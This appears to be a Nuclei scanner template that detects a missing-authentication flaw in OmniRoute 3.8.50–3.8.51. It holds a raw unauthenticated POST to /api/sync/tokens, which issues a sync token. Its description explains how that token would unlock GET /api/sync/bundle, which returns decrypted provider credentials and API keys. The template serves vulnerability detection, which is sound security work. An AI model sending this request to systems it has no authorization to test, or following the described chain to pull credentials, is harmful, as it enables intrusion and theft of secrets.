id: CVE-2026-116634

info:
  name: "OmniRoute - Missing Authentication"
  author: vedas-arpsyndicate
  severity: high
  description: |
    OmniRoute 3.8.50 before 3.8.52 exposes POST /api/sync/tokens without authentication when
    requireLogin is disabled, letting an unauthenticated remote attacker issue a legacy "open"
    sync token. The token can then be presented to GET /api/sync/bundle to retrieve decrypted
    provider credentials and plaintext API keys. This template confirms the missing-authentication
    token issuance without reading any secrets.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-116634&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=omniroute&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cve-id: CVE-2026-116634
    cwe-id: CWE-306
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,omniroute,auth-bypass

http:
  - raw:
      - |
        POST /api/sync/tokens HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"vedas-scan","ttl":"1h"}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 201
      - type: word
        part: body
        words:
          - "issuedBy"
          - "token"
        condition: and